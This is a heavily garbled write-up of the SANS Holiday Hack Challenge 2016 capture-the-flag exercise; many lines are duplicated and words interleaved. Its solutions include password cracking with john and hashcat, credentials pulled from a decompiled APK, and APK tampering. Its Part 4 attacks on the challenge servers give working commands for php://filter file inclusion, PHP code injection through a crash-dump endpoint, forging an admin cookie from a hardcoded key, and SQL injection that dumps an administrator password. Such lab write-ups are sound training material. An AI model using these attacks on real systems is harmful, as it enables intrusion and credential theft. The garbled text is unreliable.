SANS Holiday Hack Challenge 2016 "Santa's Business Card" - writeup
SANS Holiday Hack Challenge 2016 "Santa's Business Card" - writeup
Part 1: A Most Curious Business Card Part 1: A Most Curious Business Card 1) What is the secret message in
1) What is the secret message in Santa's tweets?Santa's tweets? bug bounty
bug bounty a total of 348
a total of 348 tweets @tweets @ https://twitter.com/santawclaushttps://twitter.com/santawclaus code listing under Appendix section
code listing under Appendix section
2) What is inside the ZIP file
2) What is inside the ZIP file distributed by Santa's team?distributed by Santa's team? SantaGram_4.2.apk
SantaGram_4.2.apk image @
image @ https://www.instagram.com/p/BNpA2kEBF85https://www.instagram.com/p/BNpA2kEBF85 direct link @ direct link @ https://scontent-sin6-1.cdninstagram.com/t51.2885-15/e35/15275692_1825886877683854_211464 https://scontent-sin6-1.cdninstagram.com/t51.2885-15/e35/15275692_1825886877683854_211464 858007240704_n.jpg?ig_cache_key=MTM5ODY1MjkwODg0OTA5NDQ1Nw%3D%3D.2 858007240704_n.jpg?ig_cache_key=MTM5ODY1MjkwODg0OTA5NDQ1Nw%3D%3D.2
archive filename: SantaGram_v4.2.zip on laptop screen archive filename: SantaGram_v4.2.zip on laptop screen URL:
URL: www.northpolewonderland.comwww.northpolewonderland.com on Nmap scan report on Nmap scan report =>
=> http://www.northpolewonderland.com/SantaGram_v4.2.ziphttp://www.northpolewonderland.com/SantaGram_v4.2.zip
$ zip2john SantaGram_v4.2.zip >SantaGram_v4.2.zip.hash && john $ zip2john SantaGram_v4.2.zip >SantaGram_v4.2.zip.hash && john SantaGram_v4.2.zip.hash && cat john.pot
SantaGram_v4.2.zip.hash && cat john.pot
ver 2.0 efh 5455 efh 7875 SantaGram_v4.2.zip->SantaGram_4.2.apk PKZIP ver 2.0 efh 5455 efh 7875 SantaGram_v4.2.zip->SantaGram_4.2.apk PKZIP Encr: 2b chk, TS_chk, cmplen=1962826, decmplen=2257390, crc=EDE16A54 Encr: 2b chk, TS_chk, cmplen=1962826, decmplen=2257390, crc=EDE16A54 Using default input encoding: UTF-8
$pkzip2$1*2*2*0*1df34a*2271ee*ede16a54*0*4b*8*1df34a*ede1*45ec*a9e4d5fbcc $pkzip2$1*2*2*0*1df34a*2271ee*ede16a54*0*4b*8*1df34a*ede1*45ec*a9e4d5fbcc d3ed909cfab044ec6e37b82318b565ef029f69c1c1ff17b4847d172f7b15f60c059931939 d3ed909cfab044ec6e37b82318b565ef029f69c1c1ff17b4847d172f7b15f60c059931939 98054b8af5b2c6c6d619629a69f17554eed977dde48fd9e9863bfd78922be1d9b6e90ed33 98054b8af5b2c6c6d619629a69f17554eed977dde48fd9e9863bfd78922be1d9b6e90ed33 0e5b6989a484bfa2878200b1721be9b9580d429e94c6b56cc287f65656453f87c6a4169a6 0e5b6989a484bfa2878200b1721be9b9580d429e94c6b56cc287f65656453f87c6a4169a6 4a5bc6136f841b9da6e328b532fa77f20be241c758d2589bf77a50a96c8349e76737f695c 4a5bc6136f841b9da6e328b532fa77f20be241c758d2589bf77a50a96c8349e76737f695c 9a9af3fb264918ddc4ccdc04e2673c2ae4242ab53c6bff0e98cc9ed9b262a4fbead35a96e 9a9af3fb264918ddc4ccdc04e2673c2ae4242ab53c6bff0e98cc9ed9b262a4fbead35a96e f0896345b6474b89f7cd82c47e4e0d3dee5a46e240688f4eb6ba5954856c10f52db84294f f0896345b6474b89f7cd82c47e4e0d3dee5a46e240688f4eb6ba5954856c10f52db84294f 17af606017572f76478489232fe239aaa913dda98dc40919425a55b822e7e7614221f1478 17af606017572f76478489232fe239aaa913dda98dc40919425a55b822e7e7614221f1478 b8554c412a28d1f303e8806f2327306456c7eefd9a0ddc7998fbc33cc9e57d5a644281c01 b8554c412a28d1f303e8806f2327306456c7eefd9a0ddc7998fbc33cc9e57d5a644281c01 d0f36b76b5381581d95a98026260b0b8effdb0e92158c5e2d338641c4206963363ba1035a d0f36b76b5381581d95a98026260b0b8effdb0e92158c5e2d338641c4206963363ba1035a 962a5df60e79c7252045931155eb1b1cac17d9fd1a0c2c84a42db3f7679411d057b2f04cf 962a5df60e79c7252045931155eb1b1cac17d9fd1a0c2c84a42db3f7679411d057b2f04cf 00597b5b3eeb631b95cc4e9d9f313d68968fcac8919865f0$SOURCE_HASH$7797c24e0a54 00597b5b3eeb631b95cc4e9d9f313d68968fcac8919865f0$SOURCE_HASH$7797c24e0a54 abf3798941e68aa0fcb9:
abf3798941e68aa0fcb9:bugbountybugbounty zip password:
zip password: bugbountybugbounty
Part 2:
Part 2: Awesome Package KonveyanceAwesome Package Konveyance
3) What username and password are embedded in the APK 3) What username and password are embedded in the APK file?file?
username: guest username: guest
password: busyreindeer78 password: busyreindeer78 use
use jadx jadx,, or free online service @ or free online service @ http://www.javadecompilers.com/apkhttp://www.javadecompilers.com/apk
com.northpolewonderland.santagram.SplashScreen com.northpolewonderland.santagram.SplashScreen::
jSONObject.put("username", "
jSONObject.put("username", "guestguest");"); jSONObject.put("password", "
jSONObject.put("password", "busyreindeer78busyreindeer78");");
4) What is the name of the
4) What is the name of the audible component (audio file) in the SantaGram APK file?audible component (audio file) in the SantaGram APK file? discombobulatedaudio1.mp3
discombobulatedaudio1.mp3 use
use apktoolapktool, or free online service @, or free online service @ http://www.javadecompilers.com/apkhttp://www.javadecompilers.com/apk
SantaGram_4.2.apk:/res/raw/discombobulatedaudio1.mp3 SantaGram_4.2.apk:/res/raw/discombobulatedaudio1.mp3
Part 3: A Fresh-Baked Holiday Pi Part 3: A Fresh-Baked Holiday Pi
5) What is the password for the "cranpi" account on
5) What is the password for the "cranpi" account on the Cranberry Pi system?the Cranberry Pi system? yummycookies
yummycookies $
$7za x7za x https://www.northpolewonderland.com/cranbian.img.ziphttps://www.northpolewonderland.com/cranbian.img.zip
$
$fdisk -l cranbian-jessie.imgfdisk -l cranbian-jessie.img
Disk cranbian-jessie.img: 1.3 GiB, 1389363200 bytes, 2713600 sectors Disk cranbian-jessie.img: 1.3 GiB, 1389363200 bytes, 2713600 sectors Units: sectors of 1 * 512 = 512 bytes
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos
Disklabel type: dos
Disk identifier: 0x5a7089a1 Disk identifier: 0x5a7089a1 Device
Device Boot Boot Start Start End End Sectors Sectors Size Size Id Id TypeType cranbian-jessie.img1
cranbian-jessie.img1 8192 8192 137215 137215 129024 129024 63M 63M c c W95 W95 FAT32 FAT32 (LBA)(LBA) cranbian-jessie.img2
cranbian-jessie.img2 137216137216 2713599 2713599 2576384 2576384 1.2G 1.2G 83 83 LinuxLinux $
$mkdir img2 && sudo mount cranbian-jessie.img -omkdir img2 && sudo mount cranbian-jessie.img -o loop,offset=$((512*137216)) img2
loop,offset=$((512*137216)) img2 $
$sudo unshadow img2/etc/passwd img2/etc/shadow >img2-passwd+shadow.txtsudo unshadow img2/etc/passwd img2/etc/shadow >img2-passwd+shadow.txt cranpi:$6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DUai3OGfnBbDNjtx2G99qKbhnid cranpi:$6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DUai3OGfnBbDNjtx2G99qKbhnid xinanEhahBINm/2YyjFihxg7tgc343b0:1000:1000:,,,:/home/cranpi:/bin/bash xinanEhahBINm/2YyjFihxg7tgc343b0:1000:1000:,,,:/home/cranpi:/bin/bash $
$hashcat64.bin -m1800 -a0 img2-passwd+shadow.txthashcat64.bin -m1800 -a0 img2-passwd+shadow.txt [rockyou.txt]( [rockyou.txt](http://downloads.skullsecurity.org/passwords/rockyou.txt.bzhttp://downloads.skullsecurity.org/passwords/rockyou.txt.bz 2 2)) $6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DUai3OGfnBbDNjtx2G99qKbhnidxinanEh $6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DUai3OGfnBbDNjtx2G99qKbhnidxinanEh ahBINm/2YyjFihxg7tgc343b0:yummycookies ahBINm/2YyjFihxg7tgc343b0:yummycookies
6) How did you open
6) How did you open each terminal door and where had the villain imprisoned Santa?each terminal door and where had the villain imprisoned Santa?
● ● https://docker2016.holidayhackchallenge.com:60001https://docker2016.holidayhackchallenge.com:60001 ○ ○ HELPHELP ○ ○ !! ○ ○ ./ActivateTrain./ActivateTrain
●
● https://docker2016.holidayhackchallenge.com:60002https://docker2016.holidayhackchallenge.com:60002 ○
○ $ sudo -u itchy /usr/sbin/tcpdump -r /out.pcap -w - 2>/dev/null$ sudo -u itchy /usr/sbin/tcpdump -r /out.pcap -w - 2>/dev/null
out.pcap out.pcap
○
○ GET /firsthalf.html HTTP/1.1GET /firsthalf.html HTTP/1.1 ■
■ <input type="hidden" name="part1" value="<input type="hidden" name="part1" value="santaslisantasli" />" /> ○
○ GET /secondhalf.bin HTTP/1.1GET /secondhalf.bin HTTP/1.1 ■
■ strings -e l secondhalf.binstrings -e l secondhalf.bin ■
■ part2:part2:ttlehelperttlehelper
santaslittlehelper santaslittlehelper
●
● https://docker2016.holidayhackchallenge.com:60003https://docker2016.holidayhackchallenge.com:60003 ○
○ /home/elf/.doormat/. / /\/\\/Don't Look Here!/You are/home/elf/.doormat/. / /\/\\/Don't Look Here!/You are
persistent, aren't you?/'/key_for_the_door.txt: persistent, aren't you?/'/key_for_the_door.txt:
■
■ key:key: open_sesameopen_sesame
●
● https://docker2016.holidayhackchallenge.com:60004https://docker2016.holidayhackchallenge.com:60004 ○
○ exfexfililtrtratatee11 /home/elf/wumpus/home/elf/wumpus
○
○ chmod 0775 wumpus && gdb -q ./wumpuschmod 0775 wumpus && gdb -q ./wumpus
(gdb) b *main (gdb) b *main Breakpoint 1 at 0x400d26 Breakpoint 1 at 0x400d26 (gdb) r (gdb) r
Starting program: wumpus Starting program: wumpus (gdb) print kill_wump() (gdb) print kill_wump() *thwock!* *groan* *crash* *thwock!* *groan* *crash*
A horrible roar fills the cave, and you realize, with a smile, A horrible roar fills the cave, and you realize, with a smile, that you
that you have slain have slain the evil the evil Wumpus and Wumpus and won the won the game! game! You don'tYou don't want to tarry for long, however, because not only is the Wumpus want to tarry for long, however, because not only is the Wumpus famous, but the stench of dead Wumpus is also quite well known, famous, but the stench of dead Wumpus is also quite well known, a stench plenty enough to slay the mightiest adventurer at a a stench plenty enough to slay the mightiest adventurer at a single whiff!!
single whiff!! Passphrase:
Passphrase: WUMPUS IS MISUNDERSTOODWUMPUS IS MISUNDERSTOOD
1 1
code listing under Appendix section code listing under Appendix section
●
● https://docker2016.holidayhackchallenge.com:60005https://docker2016.holidayhackchallenge.com:60005 ○
○ wargames script @wargames script @
https://raw.githubusercontent.com/abs0/wargames/master/wargames.sh https://raw.githubusercontent.com/abs0/wargames/master/wargames.sh
○
○ Hello.Hello. ○
○ I'm fine. How are you?I'm fine. How are you? ○
○ People sometimes make mistakes.People sometimes make mistakes. ○
○ Love to. How about Global Thermonuclear War?Love to. How about Global Thermonuclear War? ○
○ Later. Let's play Global Thermonuclear War.Later. Let's play Global Thermonuclear War. ○
○ 22 ○
○ Las VegasLas Vegas
LAUNCH INITIATED, HERE'S THE KEY FOR YOUR TROUBLE: LAUNCH INITIATED, HERE'S THE KEY FOR YOUR TROUBLE: LOOK AT THE PRETTY LIGHTS
LOOK AT THE PRETTY LIGHTS
Press Enter To Continue Press Enter To Continue Part 4: My Gosh... It's Full of Holes
Part 4: My Gosh... It's Full of Holes 7) For each of these
7) For each of these six items, which vulnerabilities did you discover and exploit?six items, which vulnerabilities did you discover and exploit? 1.
1. The MoThe Mobile Abile Analytnalytics Seics Server (rver (via crvia credentedentialed ialed login login accessaccess)) 2.
2. ThThe De Dunungegeon on GaGameme 3.
3. ThThe De Debebug ug SeServrverer 4.
4. ThThe Be Banannener r Ad Ad SeServrverer 5.
5. The UThe Uncancaughught Exct Excepteption Hion Handandler ler SerServerver 6.
6. The MThe Mobile obile AnalyAnalytics tics Server Server (post (post authauthenticaentication)tion) URLs discovered from
URLs discovered from SantaGram_4.2.apk:/res/values/strings.xmlSantaGram_4.2.apk:/res/values/strings.xml <string
<string
name="analytics_launch_url">https://
name="analytics_launch_url">https://analytics.northpolewonderland.comanalytics.northpolewonderland.com ort.php?type=launch</string> ort.php?type=launch</string> <string <string name="analytics_usage_url">https://analytics.northpolewonderland.com/repo name="analytics_usage_url">https://analytics.northpolewonderland.com/repo rt.php?type=usage</string> rt.php?type=usage</string> <string <string name="dungeon_url">http://
name="dungeon_url">http://dungeon.northpolewonderland.comdungeon.northpolewonderland.com/</string>/</string> <string
<string
name="debug_data_collection_url">http://
name="debug_data_collection_url">http://dev.northpolewonderland.comdev.northpolewonderland.com .php</string> .php</string> <string <string /rep /rep /index /index
1.
1. The MoThe Mobile Anbile Analyticalytics Servs Server (via cer (via crederedentialentialed login ad login accesccess)s) analytics.northpolewonderland.com
analytics.northpolewonderland.com
●
● login @login @ https://analytics.northpolewonderland.com/login.phphttps://analytics.northpolewonderland.com/login.php ○
○ user login credentials from Q3user login credentials from Q3 ■
■ username:username:guestguest ■
■ password:password:busyreindeer78busyreindeer78 ● ● discombobulatedaudio2.mp3discombobulatedaudio2.mp3 @ @ https://analytics.northpolewonderland.com/getaudio.php?id=20c216bc-b8b1-11e6-89e1-420 https://analytics.northpolewonderland.com/getaudio.php?id=20c216bc-b8b1-11e6-89e1-420 10af00008 10af00008 2.
2. ThThe De Dunungegeon on GaGameme
dungeon.northpolewonderland.com dungeon.northpolewonderland.com
●
● Nmap scan reports port 11111 is open; hosting the Nmap scan reports port 11111 is open; hosting the online version of the gameonline version of the game
$ nmap -sT dungeon.northpolewonderland.com $ nmap -sT dungeon.northpolewonderland.com
Nmap scan report
Nmap scan report for dungeon.northpolewonderland.comfor dungeon.northpolewonderland.com (35.184.47.139)
(35.184.47.139) ...
... 11111
11111/tcp open vce/tcp open vce ...
...
$ nc dungeon.northpolewonderland.com 11111 $ nc dungeon.northpolewonderland.com 11111
●
● "Dungeon""Dungeon"~~Zork I @Zork I @ https://github.com/devshane/zorkhttps://github.com/devshane/zork ●
● in-game debuggerin-game debuggerGDTGDT, according to, according to http://gunkies.org/wiki/Zork_hintshttp://gunkies.org/wiki/Zork_hints ●
● GDT>GDT>DTDT oror 1024102422 ●
● these are the only two entries that differ between these are the only two entries that differ between the online and offline versionsthe online and offline versions
; Entry: ; Entry: 119119
#119: Suddenly a sinister, wraithlike figure, cloaked and hooded, appears #119: Suddenly a sinister, wraithlike figure, cloaked and hooded, appears seeming to float in the air before you. In a low, almost inaudible voice seeming to float in the air before you. In a low, almost inaudible voice he says, "I welcome you to the ranks of the chosen of Zork. You have he says, "I welcome you to the ranks of the chosen of Zork. You have persisted through many trials and tests and have overcome them all. One persisted through many trials and tests and have overcome them all. One such as yourself is fit to join even the implementers!" He then raises such as yourself is fit to join even the implementers!" He then raises his oaken staff and, chuckling, drifts away like a wisp of smoke, his his oaken staff and, chuckling, drifts away like a wisp of smoke, his laughter fading in the distance. When the smoke clears, the phrase " laughter fading in the distance. When the smoke clears, the phrase "sendsend email to [email protected]
email to [email protected]
#1024: The elf, satisified with the trade says
-#1024: The elf, satisified with the trade says - send email tosend email to "[email protected]"
"[email protected]" for that which you seek. for that which you seek.
2 2
code listing under Appendix section code listing under Appendix section
" is all that remains. " is all that remains.
3.
3. ThThe De Debebug Sug Serervever r
dev.northpolewonderland.com dev.northpolewonderland.com
●
● expected parametersexpected parameters ○
○ JSON keys inJSON keys incom.northpolewonderland.santagram.EditProfile:com.northpolewonderland.santagram.EditProfile:
/index.php /index.php
protected void onCreate(Bundle bundle) { protected void onCreate(Bundle bundle) {
... ...
JSONObject jSONObject = new JSONObject(); JSONObject jSONObject = new JSONObject(); jSONObject.put("
jSONObject.put("datedate
SimpleDateFormat("yyyyMMddHHmmssZ").format(Calendar.getInstance().getTime SimpleDateFormat("yyyyMMddHHmmssZ").format(Calendar.getInstance().getTime ()));
()));
jSONObject.put(" jSONObject.put("udidudid "android_id"));
"android_id"));
jSONObject.put("
jSONObject.put("debugdebug", getClass().getCanonicalName() + ", " +", getClass().getCanonicalName() + ", " + getClass().getSimpleName());
getClass().getSimpleName()); jSONObject.put("
jSONObject.put("freememfreemem", Runtime.getRuntime().totalMemory() -", Runtime.getRuntime().totalMemory() -Runtime.getRuntime().freeMemory()); Runtime.getRuntime().freeMemory()); ... ... ", new ", new ", Secure.getString(getContentResolver(), ", Secure.getString(getContentResolver(),
●
● tamper with APK, viatamper with APK, via apktoolapktool
1.
1. apktooapktool dl decode ecode SantaGSantaGram_4.ram_4.2.apk2.apk 2.
2. SantaGram_4.2.apk/res/values/string.xmlSantaGram_4.2.apk/res/values/string.xml
■
■ <string name="debug_data_enabled"><string name="debug_data_enabled">falsefalse</string></string>
...to... ...to...
■
■ <string name="debug_data_enabled"><string name="debug_data_enabled">truetrue
3.
3. apktooapktool l build build SantaGSantaGram_4.ram_4.22 4.
4. keytookeytool -genkey -v -keystol -genkey -v -keystore key.keysre key.keystore -aliatore -alias alias -keyalgs alias -keyalg RSA -keysize 4096 -validity 10240
RSA -keysize 4096 -validity 10240 5.
5. jarsigjarsigner -verboner -verbose -sigalg SHA1wse -sigalg SHA1withRSA -diithRSA -digestalgestalg SHA1g SHA1
-keystore key.keystore SantaGram_4.2/dist/SantaGram_4.2.apk -keystore key.keystore SantaGram_4.2/dist/SantaGram_4.2.apk alias
alias 6.
6. zipalizipalign -v 4 gn -v 4 SantaGSantaGram_4.ram_4.2/dist2/dist/Santa/SantaGram_4Gram_4.2.apk.2.apk SantaGram_4.2/dist/SantaGram_4.2-aligned.apk
SantaGram_4.2/dist/SantaGram_4.2-aligned.apk 7.
7. adb install -r adb install -r -d -d SantaGSantaGram_4.ram_4.2/dist2/dist/Sant/SantaGram_aGram_4.2-al4.2-aligned.igned.apkapk
●
● sniff traffic - Burp Suite @sniff traffic - Burp Suite @ https://portswigger.net/burphttps://portswigger.net/burp ●
● Android mobile phone emulator - Genymotion @Android mobile phone emulator - Genymotion @ https://www.genymotion.comhttps://www.genymotion.com ●
● v4.3 (API level 18) + ARM translation patch v1.1v4.3 (API level 18) + ARM translation patch v1.1 ●
● $ curl -X POST -H "Content-Type: application/json" -sL$ curl -X POST -H "Content-Type: application/json" -sL
"http://dev.northpolewonderland.com/index.php" -d "http://dev.northpolewonderland.com/index.php" -d
"{\"date\":null,\"udid\":null,\"debug\":\"com.northpolewonderland.san "{\"date\":null,\"udid\":null,\"debug\":\"com.northpolewonderland.san tagram.EditProfile, EditProfile\",\"freemem\":-1 ,
tagram.EditProfile, EditProfile\",\"freemem\":-1 ,\"verbose\":true\"verbose\":true}"}" | jq -rc . | jq -rc . </string> </string> {"date":"20161225000000","date.len":14,"status":"OK","status.len":"2","fi {"date":"20161225000000","date.len":14,"status":"OK","status.len":"2","fi lename":"debug-20161225000000-0.txt","filename.len":26,"request":{"date": lename":"debug-20161225000000-0.txt","filename.len":26,"request":{"date": null,"udid":null,"debug":"com.northpolewonderland.santagram.EditProfile, null,"udid":null,"debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":-1,"verbose":true},"files":["
EditProfile","freemem":-1,"verbose":true},"files":["debug-20161224235959- debug-20161224235959-0.mp3
0.mp3","debug-20161225000000-0.txt","index.php"]}","debug-20161225000000-0.txt","index.php"]}
●
4.
4. ThThe Be Banannener Ar Ad Sd Serervever r
ads.northpolewonderland.com ads.northpolewonderland.com
●
● Mining Meteor @Mining Meteor @ https://pen-testing.sans.org/blog/2016/12/06/mining-meteorhttps://pen-testing.sans.org/blog/2016/12/06/mining-meteor ○
○ MeteorMiner Tampermonkey script @MeteorMiner Tampermonkey script @ https://github.com/nidem/MeteorMinerhttps://github.com/nidem/MeteorMiner ●
● either on webpage @either on webpage @ http://ads.northpolewonderland.comhttp://ads.northpolewonderland.comoror
http://ads.northpolewonderland.com/admin/quotes http://ads.northpolewonderland.com/admin/quotes
○
○ in web JS console:in web JS console:
console.log(JSON.stringify(HomeQuotes.find().fetch())) console.log(JSON.stringify(HomeQuotes.find().fetch())) [{"_id":"drsCoXaLaitrx2xJP","index":0,"quote":"Never [{"_id":"drsCoXaLaitrx2xJP","index":0,"quote":"Never Tired","hidden":false},{"_id":"ncN8EozkRGuq3hmd6","index":1,"q Tired","hidden":false},{"_id":"ncN8EozkRGuq3hmd6","index":1,"q uote":"Never the uote":"Never the Same!","hidden":false},{"_id":"qLqMmQFCurmaptYPj","index":2,"q Same!","hidden":false},{"_id":"qLqMmQFCurmaptYPj","index":2,"q uote":"Making Ads Great
uote":"Making Ads Great
Again!","hidden":false},{"_id":"zC3qjywazw6vTorZQ","index":3," Again!","hidden":false},{"_id":"zC3qjywazw6vTorZQ","index":3," quote":"Is anyone actually reading
quote":"Is anyone actually reading
this?","hidden":false},{"_id":"zPR5TpxB5mcAH3pYk","index":4,"q this?","hidden":false},{"_id":"zPR5TpxB5mcAH3pYk","index":4,"q uote":"Just Ad
uote":"Just Ad
It!","hidden":true,"audio":"/ofdAR4UYRaeNxMg/
It!","hidden":true,"audio":"/ofdAR4UYRaeNxMg/discombobulatedaudiscombobulatedau dio5.mp3 dio5.mp3"}]"}] ● ● $ wget$ wget http://ads.northpolewonderland.com/ofdAR4UYRaeNxMg/ http://ads.northpolewonderland.com/ofdAR4UYRaeNxMg/discombobulatedauddiscombobulatedaud io5.mp3 io5.mp3
5.
5. The The UncaUncaught ught ExceException ption HandlHandler er ServServer er
ex.northpolewonderland.com ex.northpolewonderland.com
●
● $ curl -X POST -H "Content-Type: application/json" -sL$ curl -X POST -H "Content-Type: application/json" -sL
http://ex.northpolewonderland.com/exception.php -d http://ex.northpolewonderland.com/exception.php -d "{\"operation\":\"ReadCrashDump\",\"data\":{\"crashdump\":\"php://fil "{\"operation\":\"ReadCrashDump\",\"data\":{\"crashdump\":\"php://fil ter/convert.base64-encode/resource=exception\"}}" | base64 -d ter/convert.base64-encode/resource=exception\"}}" | base64 -d /exception.php /exception.php . ...
# Audio file from Discombobulator in webroot: # Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3 discombobulated-audio-6-XyzE3N9YqKNH.mp3 ... ... ● ● $ MSG="');echo$ MSG="');echo base64_encode(file_get_contents(str_replace('\\\','','../ base64_encode(file_get_contents(str_replace('\\\','','../discombobuladiscombobula ted-audio-6-XyzE3N9YqKNH.mp3
ted-audio-6-XyzE3N9YqKNH.mp3')));print('" && cid=$(curl -X POST -H')));print('" && cid=$(curl -X POST -H "Content-Type: application/json" -sL "Content-Type: application/json" -sL "http://ex.northpolewonderland.com/exception.php" -d "http://ex.northpolewonderland.com/exception.php" -d "{\"operation\":\"WriteCrashDump\",\"data\":{\"message\":\"${MSG}\"}} "{\"operation\":\"WriteCrashDump\",\"data\":{\"message\":\"${MSG}\"}} " | jq -r .crashdump | cut -d- -f2 | cut -d. -f1) && curl -X POST -H " | jq -r .crashdump | cut -d- -f2 | cut -d. -f1) && curl -X POST -H "Content-Type: application/json" -sL "Content-Type: application/json" -sL "http://ex.northpolewonderland.com/exception.php" -d "http://ex.northpolewonderland.com/exception.php" -d "{\"operation\":\"ReadCrashDump\",\"data\":{\"crashdump\":\"crashdump "{\"operation\":\"ReadCrashDump\",\"data\":{\"crashdump\":\"crashdump -${cid}\"}}" | jq -r .message | base64 -d
-${cid}\"}}" | jq -r .message | base64 -d >
6.
6. The MThe Mobile obile AnalyAnalytics Stics Serveerver (por (post autst authentihenticatiocation)n) analytics.northpolewonderland.com
analytics.northpolewonderland.com
●
● Nmap scan reports exposed Git repository @Nmap scan reports exposed Git repository @ https://analytics.northpolewonderland.com/.githttps://analytics.northpolewonderland.com/.git
$ nmap -A analytics.northpolewonderland.com $ nmap -A analytics.northpolewonderland.com
Nmap scan report for analytics.northpolewonderland.com Nmap scan report for analytics.northpolewonderland.com (104.198.252.157)
(104.198.252.157) ...
...
443/tcp
443/tcp open open ssl/http ssl/http nginx nginx 1.6.21.6.2 | http-git:
| http-git:
| 104.198.252.157:443/.git/ | 104.198.252.157:443/.git/ |
| Git repository found!Git repository found! |
| Repository Repository description: description: Unnamed Unnamed repository; repository; edit edit this this filefile 'description' to name the...
'description' to name the... |_
|_ Last Last commit commit message: message: Finishing Finishing touches touches (style, (style, css, css, etc)etc) ...
...
○
○ GitTools @GitTools @ https://github.com/internetwache/GitToolshttps://github.com/internetwache/GitTools ○
○ $ git init && /GitTools/Dumper/gitdumper.sh$ git init && /GitTools/Dumper/gitdumper.sh
https://analytics.northpolewonderland.com/.git/ . https://analytics.northpolewonderland.com/.git/ .
●
● exploitexploit ○
○ second-order SQL injectionsecond-order SQL injection ○
○ mass assignmentmass assignment ●
● craft administrator AUTH cookiecraft administrator AUTH cookie
<? <? define("KEY", define("KEY", "\x61\x17\xa4\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc"); "\x61\x17\xa4\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc"); function encrypt($data) { function encrypt($data) {
return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, "stream"); return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, "stream"); } } $auth = encrypt(json_encode([ $auth = encrypt(json_encode([ "username" => "administrator", "username" => "administrator", "date" => date(DateTime::ISO8601) "date" => date(DateTime::ISO8601) ])); ]));
echo "Cookie: AUTH=".bin2hex($auth); echo "Cookie: AUTH=".bin2hex($auth); ?>
●
● generate a query report UUID via /generate a query report UUID via /query.phpquery.php
REPORT_ID=$(curl -X POST -H "Cookie: REPORT_ID=$(curl -X POST -H "Cookie:
AUTH=82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384 AUTH=82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384 f6e7bca04d86e573b965cf9c6549b9494c6063a50b63b71976884152" -ksL f6e7bca04d86e573b965cf9c6549b9494c6063a50b63b71976884152" -ksL "https://analytics.northpolewonderland.com/query.php" -d "https://analytics.northpolewonderland.com/query.php" -d "date=2016-12-24&type=launch&field%5B%5D=udid&modifier%5B%5D=eq&value%5B% "date=2016-12-24&type=launch&field%5B%5D=udid&modifier%5B%5D=eq&value%5B% 5D=&save=on" | perl -ne 'print "$1" if
5D=&save=on" | perl -ne 'print "$1" if
m/view.php\?id=([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{ m/view.php\?id=([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{ 12})/')
12})/')
●
● craft SQL query via /edit.phpcraft SQL query via /edit.php
urlencode () {echo $(node -p "encodeURIComponent('$(sed "s/'/\\\'/g" urlencode () {echo $(node -p "encodeURIComponent('$(sed "s/'/\\\'/g" "$@")')")} "$@")')")} curl -H "Cookie: curl -H "Cookie: AUTH=82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384 AUTH=82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384 f6e7bca04d86e573b965cf9c6549b9494c6063a50b63b71976884152" -ksL f6e7bca04d86e573b965cf9c6549b9494c6063a50b63b71976884152" -ksL "https://analytics.northpolewonderland.com/edit.php?id=${REPORT_ID}&name= "https://analytics.northpolewonderland.com/edit.php?id=${REPORT_ID}&name= &description=&query=$(echo 'SELECT `id`,`username`, `filename`,
&description=&query=$(echo 'SELECT `id`,`username`, `filename`,
TO_BASE64(mp3) FROM `audio` WHERE `username`='\''administrator'\''' | TO_BASE64(mp3) FROM `audio` WHERE `username`='\''administrator'\''' | urlencode)" | w3m -dump -T text/html
urlencode)" | w3m -dump -T text/html
●
● execute payload via /view.phpexecute payload via /view.php
echo "https://analytics.northpolewonderland.com/view.php?id=${REPORT_ID}" echo "https://analytics.northpolewonderland.com/view.php?id=${REPORT_ID}"
id
id usernameusername filenamefilename
20c216bc-b8b1-11e6-89e1-42010af00008 guest
20c216bc-b8b1-11e6-89e1-42010af00008 guest discombobulatedaudio2.mp3discombobulatedaudio2.mp3 3746d987-b8b1-11e6-89e1-42010af00008 administrator
3746d987-b8b1-11e6-89e1-42010af00008 administrator discombobulatedaudio7.mp3discombobulatedaudio7.mp3
aside aside
uid
uid usernameusername passwordpassword
0
0 administrator administrator KeepWatchingTheSkiesKeepWatchingTheSkies 1
8) What are the names of the
8) What are the names of the audio files you discovered from each system above? audio files you discovered from each system above? There are a totalThere are a total of SEVEN audio files (one from the
of SEVEN audio files (one from the original APK in Question 4, plus one original APK in Question 4, plus one for each of the six items for each of the six items in thein the bullet list above.)
bullet list above.) 1.
1. disdiscomcombobbobulaulatedtedaudaudio1io1.mp.mp33 2.
2. disdiscomcombobbobulaulatedtedaudaudio2io2.mp.mp33 3.
3. disdiscomcombobbobulaulatedtedaudaudio3io3.mp.mp33 4.
4. debdebug-ug-201201612612242242359535959-09-0.mp.mp33 5.
5. disdiscomcombobbobulaulatedtedaudaudio5io5.mp.mp33 6.
6. disdiscomcombobbobulaulatedted-au-audiodio-6--6-XyzXyzE3NE3N9YqK9YqKNH.NH.mp3mp3 7.
7. disdiscomcombobbobulaulatedtedaudaudio7io7.mp.mp33 Part 5:
Part 5: Discombobulated AudioDiscombobulated Audio 9) Who is the villain behind the
9) Who is the villain behind the nefarious plot?nefarious plot? Dr. Who
Dr. Who
